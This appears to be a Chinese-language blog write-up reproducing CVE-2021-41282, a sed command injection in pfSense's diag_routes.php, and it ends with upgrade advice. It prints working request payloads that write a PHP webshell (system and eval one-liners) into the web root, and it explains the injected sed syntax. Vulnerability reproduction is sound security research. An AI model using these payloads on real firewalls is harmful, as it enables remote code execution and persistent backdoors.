Pfsense漏洞复现(CVE-2021-41282)

Pfsense漏洞复现(CVE-2021-41282)

一、产品介绍:

pfSense® Plus 软件是世界上最值得信赖的防火墙。 该软件赢得了全球用户的尊重和喜爱——安装次数超过 300 万次。 开源技术使之成为可能。 由 Netgate 制成坚固、可靠、可靠的产品

产品官网:

https://www.pfsense.org/

Pfsense漏洞复现(CVE-2021-41282)

二、漏洞概述:

pfSense 允许经过身份验证的用户获取有关防火墙中设置的路由的信息。 信息是通过执行 netstat实用程序,然后通过 sed调用执行。 虽然命令注入的常见预防模式(即使用 escapeshellarg参数的函数)正在使用中,但是仍然可以注入 sed- 特定代码并在任意位置写入任意文件。 由于易受攻击的端点也容易受到跨站点请求伪造 (CSRF) 的攻击,因此也可以利用此漏洞进行预身份验证。

Pfsense漏洞复现(CVE-2021-41282)

三、漏洞详情:

CVE编号

CVE-2021-41282

漏洞类型

远程代码执行

威胁等级

高危

影响版本

pfSense CE version <= 2.5.2

pfSense Plush version < 22.01

四、漏洞复现:

复现环境:

下载地址: Tags · pfsense/pfsense · GitHub

Pfsense版本: 2.5.1

操作系统:  FreeBSD Linux

Pfsense漏洞复现(CVE-2021-41282)

漏洞位于diag_routes.php页面,在做filter参数接收时没有对输入的参数进行严格的过滤导致产生的命令执行

Pfsense漏洞复现(CVE-2021-41282)

在对diag_routes.php发起一个请求时,如果没有IPV6的请求参数,初始执行的命令如下所示:

/usr/bin/netstat –Rw –f inet 这样,再次请求filter参数就会在后面拼接上命令,利用的payload如下所示:

/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23

Pfsense漏洞复现(CVE-2021-41282)

漏洞利用的前提是需要进行登录,登录之后再次请求该链接就会在网站根路径下生成一个webshell的文件

Pfsense漏洞复现(CVE-2021-41282)

我们再次访问该文件,发现已经生成成功了

Pfsense漏洞复现(CVE-2021-41282)

使用参数即可执行命令

Pfsense漏洞复现(CVE-2021-41282)

可以稍作修改,替换成一句话,使用蚁剑连接

/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+\@eval($_POST[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/shell.php%0a%23

Pfsense漏洞复现(CVE-2021-41282)

Pfsense漏洞复现(CVE-2021-41282)
 

所以最后生成的命令就是:

/usr/bin/netstat -rW -f inet | /usr/bin/sed -e '1,3d; 5,\$ { /!d;};s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php #/!d; };'

参数讲解:

netstat –rW  #获取路由并且不使用truncate跟踪

netstat –f inet #AF默认会使用inet(DARPA Internet),inet是支持的路由格式

sed –e ‘1,3d’; #筛选结果,将1,3行删除不显示,就是显示1,3行之外的所有内容

Pfsense漏洞复现(CVE-2021-41282)

在sed当中可以使用s/match/replace和w/path/to/files来进行写入

s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php

这一段内容就是将netstat结果中的Destination替换为<?php system($_GET[“a”]);?>,再写入到/usr/local/www/a.php文件当中

Pfsense漏洞复现(CVE-2021-41282)

将前面的参数闭合使用#注释掉后面的/!d};进行执行

五、修复建议:

将 pfSense CE 升级到 2.6.0 版或将 pfSense Plus 升级到 22.01 版

                       

点击阅读全文

上一篇 2023年 6月 5日 am10:31
下一篇 2023年 6月 5日 am10:33